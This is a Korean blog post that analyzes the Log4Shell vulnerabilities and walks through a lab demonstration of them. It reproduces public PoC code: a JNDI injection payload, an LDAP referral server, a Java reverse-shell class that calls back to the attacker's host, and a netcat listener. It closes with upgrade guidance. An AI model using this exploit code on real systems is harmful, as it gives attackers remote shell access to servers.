Log4j, Log4Shell 취약점 분석 및 시연 (CVE-2021-44228, CVE-2021-45046)

Log4j, Log4Shell 취약점 분석 및 시연 (CVE-2021-44228, CVE-2021-45046)

in

log4shell 취약점은 java 기반 로깅 라이브러리인 “Apache log4j” 에서 발견된 치명적인 취약점이며 공식적으로 CVE-2021-44228 로 식별됩니다.
해당 취약점은 log4j 취약점, log4j JNDI Attack 등 다양한 이름으로 불립니다.

Log4shell은 악용하기 쉬운 RCE 취약점으로 VSS(Common Vulnerability Scoring System)의 심각도 점수는 10점 만점에 10점(CVSS v3.1) 을 받았습니다.
해당 취약점은 2021년 11월 24일 Apache에 비공개로 처음 보고되었으며, 2021년 12월 9일에 Log4Shell이 공개적으로 공개되었으며 초기에 Apache Log4j 버전 2.15.0으로 패치 되었습니다.

이 글에서는 Log4Shell의 동작 방식을 간략하게 설명하며, Log4Shell 취약점을 시연합니다.

Log4Shell 동작 방식

Log4Shell은 원격 코드 실행(RCE)을 허용할 수 있는 JNDI(Java Naming and Directory Interface™) 주입 취약점 입니다.
영향을 받는 Apache Log4j 버전의 기록된 메시지에 신뢰할 수 없는 데이터(예: 악성 페이로드)를 포함함으로써 공격자는 JNDI 조회를 통해 악성 서버에 연결할 수 있습니다.

아래 그림은 log4j 취약점 공격 과정과 보안 방법에 대해서 보여주고 있습니다. image log4j JNDI Attack

공격 포인트가 되는 JNDI Lookup 기능은 log4j 2.0-beta9에 도입되었으며, LDAP 같은 디렉토리 서비스에 저장되어있는 JAVA 객체를 발견하고 참고(Lookup) 하기 위한 JAVA API로 쉽게 이야기해 분산된 환경 속에서 서로 간에 필요한 자원을 연결시켜 줄 수 있는 목적을 가지고 있습니다.

공격 과정을 간단하게 요약하면 다음과 같습니다.

  1. log4j 취약 버전을 사용하는 서버에 대해 공격자는 악성 JNDI LDAP 쿼리를 보냅니다.
  2. 취약 서버는 공격자의 LDAP 서버로부터 응답을 요청합니다.
  3. 공격자의 LDAP 서버는 응답으로 악성스크립트가 포함된 파일의 경로를 취약서버로 보냅니다.
  4. 취약서버는 공격자로부터 받은 악성스크립트를 다운로드 및 실행합니다.

CVE 관련 정보

Log4Shell은 원격 코드 실행(RCE) 취약점으로 CVE-2021-44228, CVE-2021-45046 두가지가 대표적입니다.

CVE 정보는 아래와 같습니다.

1) CVE-2021-44228

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228

[ 영향받는 버전 ]

  • Apache Log4j2 2.0-beta9 ~ 2.15.0(보안 릴리스 2.12.2, 2.12.3 및 2.3.1 제외)

[ 설명 ]

  • Log4j2 2.0-beta9 버전 이후부터 JNDI 기능이 추가 되었는데, LDAP 및 기타 JNDI 관련 엔드포인트에 대해 보호하는 기능이 없습니다.
  • 공격자는 이러한 점을 악용하여 로그 메시지 또는 로그 메시지 매개 변수를 제어할 수 있는 request를 보내 LDAP 서버에서 로드된 임의 코드를 실행할 수 있습니다.

[ 비고 ]

  • Log4j 2.15.0부터 해당 동작은 기본적으로 비활성화 되었습니다. 
  • 버전 2.16.0(2.12.2, 2.12.3 및 2.3.1과 함께)에서 이 기능은 완전히 제거되었습니다.
  • 해당 취약점은 log4j-core에만 해당되며 log4net, log4cxx 또는 기타 Apache Logging Services 프로젝트에는 영향을 미치지 않습니다.

2) CVE-2021-45046

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046

[ 설명 ]

  • Apache Log4j 2.15.0에서 CVE-2021-44228을 해결하기 위한 패치가 특정 구성에서 불완전한 것으로 확인되어 발생한 취약점 입니다.

[ 비고 ]

CVE-2021-44228 취약점에 대응한 2.15버전의 불완전성을 노린 취약점으로 공격원리는 CVE-2021-44228과 동일합니다.

“CVE-2021-44228” 취약점 시연

시연에 앞서, 사용된 poc는 아래 주소에 있습니다.
https://github.com/kozmer/log4j-shell-poc

1) Asset Info

  • Webserver(victim): 192.168.0.20
  • Attacker: 192.168.0.21
  • LDAP sever: 192.168.0.21 (attacker와 동일)

2) POC 코드 분석

취약 서버의 LoginServlet.java 소스 코드를 보면 log4j를 사용해서 userName 정보를 로깅하고 있습니다.

// LoginServlet.java
package com.example.log4shell;

import java.io.*;
import javax.servlet.ServletException;
import javax.servlet.http.*;
import javax.servlet.annotation.*;

import com.sun.deploy.net.HttpRequest;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


@WebServlet(name = "loginServlet", value = "/login")
public class LoginServlet extends HttpServlet {

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        String userName = req.getParameter("uname");
        String password = req.getParameter("password");

        resp.setContentType("text/html");
        PrintWriter out = resp.getWriter();
        out.println("<html><body>");

        if(userName.equals("admin") && password.equals("password")){
            out.println("Welcome Back Admin");
        }
        else{

            // vulnerable code
            Logger logger = LogManager.getLogger(com.example.log4shell.log4j.class);
            logger.error(userName);

            out.println("<code> the password you entered was invalid, <u> we will log your information </u> </code>");
        }
    }

    public void destroy() {
    }
}

image LoginServlet.java

페이지 접속시 로그인화면이 나옵니다.
공격자는 취약점이 존재하는 로그인 폼에 악성행위를 유발하는 JNDI query를 넣어 공격을 시도합니다. image index login page

공격에 사용되는 poc코드를 분석해보면 아래와 같이 동작합니다.

1 - main 함수 및 payload 함수 실행

1. 파라미터로 아래의 정보를 입력 받습니다.

  • userip: 공격자 자신의 ip
  • webport: 악성 스크립트가 업로드된 웹서버 포트
  • lport: netcat 등으로 열어놓은 listen 포트
    def main() -> None:
     init(autoreset=True)
     print(Fore.BLUE + """
    [!] CVE: CVE-2021-44228
    [!] Github repo: https://github.com/kozmer/log4j-shell-poc
    """)
    
     parser = argparse.ArgumentParser(description='log4shell PoC')
     parser.add_argument('--userip',
                         metavar='userip',
                         type=str,
                         default='localhost',
                         help='Enter IP for LDAPRefServer & Shell')
     parser.add_argument('--webport',
                         metavar='webport',
                         type=int,
                         default='8000',
                         help='listener port for HTTP port')
     parser.add_argument('--lport',
                         metavar='lport',
                         type=int,
                         default='9001',
                         help='Netcat Port')
    
     args = parser.parse_args()
    
     try:
         if not check_java():
             print(Fore.RED + '[-] Java is not installed inside the repository')
             raise SystemExit(1)
         payload(args.userip, args.webport, args.lport)
     except KeyboardInterrupt:
         print(Fore.RED + "user interrupted the program.")
         raise SystemExit(0)
    

2. 공격자 자신의 환경에 jdk가 세팅되어있는지 확인하고, payload 함수를 실행합니다.

def payload(userip: str, webport: int, lport: int) -> None:
    generate_payload(userip, lport)

    print(Fore.GREEN + '[+] Setting up LDAP server\n')

    # create the LDAP server on new thread
    t1 = threading.Thread(target=ldap_server, args=(userip, webport))
    t1.start()

    # start the web server
    print(f"[+] Starting Webserver on port {webport} http://0.0.0.0:{webport}")
    httpd = HTTPServer(('0.0.0.0', webport), SimpleHTTPRequestHandler)
    httpd.serve_forever()

2 - 악성 스크립트 생성

generate_payload() 함수에서 “Exploit.java 라는 악성 스크립트를 생성 합니다.
해당 악성 스크립트는 “ProcessBuilder” Method로 “/bin/sh” 프로세스를 생성하여 공격자 서버의 9001 포트로 소켓 통신을 하도록 되어있습니다.

def generate_payload(userip: str, lport: int) -> None:
    program = """
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
    public Exploit() throws Exception {
        String host="%s";
        int port=%d;
        String cmd="/bin/sh";
        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s=new Socket(host,port);
        InputStream pi=p.getInputStream(),
            pe=p.getErrorStream(),
            si=s.getInputStream();
        OutputStream po=p.getOutputStream(),so=s.getOutputStream();
        while(!s.isClosed()) {
            while(pi.available()>0)
                so.write(pi.read());
            while(pe.available()>0)
                so.write(pe.read());
            while(si.available()>0)
                po.write(si.read());
            so.flush();
            po.flush();
            Thread.sleep(50);
            try {
                p.exitValue();
                break;
            }
            catch (Exception e){
            }
        };
        p.destroy();
        s.close();
    }
}
""" % (userip, lport)

    # writing the exploit to Exploit.java file

    p = Path("Exploit.java")

    try:
        p.write_text(program)
        subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])
    except OSError as e:
        print(Fore.RED + f'[-] Something went wrong {e}')
        raise e
    else:
        print(Fore.GREEN + '[+] Exploit java class created success')

3 - Service LDAP and Http Server

LDAP은 1389 포트, Http Server는 사용자가 입력한 WebPort(8000)로 서비스 됩니다.
해당 LDAP 서버에 요청을 하면 응답으로 Http Server의 Exploit(악성 스크립트)의 경로를 전송합니다.

def ldap_server(userip: str, lport: int) -> None:
    sendme = "${jndi:ldap://%s:1389/a}" % (userip)
    print(Fore.GREEN + f"[+] Send me: {sendme}\n")

    url = "http://{}:{}/#Exploit".format(userip, lport)
    subprocess.run([
        os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
        "-cp",
        os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
        "marshalsec.jndi.LDAPRefServer",
        url,
    ])

image Http Server Directory listing

3) 취약점 시연

공격자 측에서, nc 포트(9001)를 열고 poc.py를 실행합니다.

$ nc -lvnp 9001

image nc -lvnp 9001

poc.py 가 제대로 동작하면, 공격을 위한 페이로드가 아래와 같이 출력됩니다.

$ python3 poc.py --userip [user_up] --webport [web_port] --lport [lport]

image run poc.py

페이로드를 취약서버의 userName에 넣고 전송합니다. image injection payload

listening 중인 공격자의 nc 포트에 웹서버가 커넥트 되었고 ‘/bin/bash’가 실행하면서 쉘을 얻게됩니다.

$ nc -lvnp 9001
Ncat: Version 7.50 ( https://namp.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 192.168.0.20.
Ncat: Connection from 192.168.0.20:57640.

image Access Success

취약점 대응 방안

JNDI LookUp 기능을 비활성화 하거나, 아래 버전 이상으로 업그레이드 합니다.

  • Java 8 이상: Log4j 2.17.0 이상 버전으로 업데이트
  • Java 7: Log4j 2.12.3 이상 버전으로 업데이트
  • Java 6: Log4j 2.3.1 이상 버전으로 업데이트

References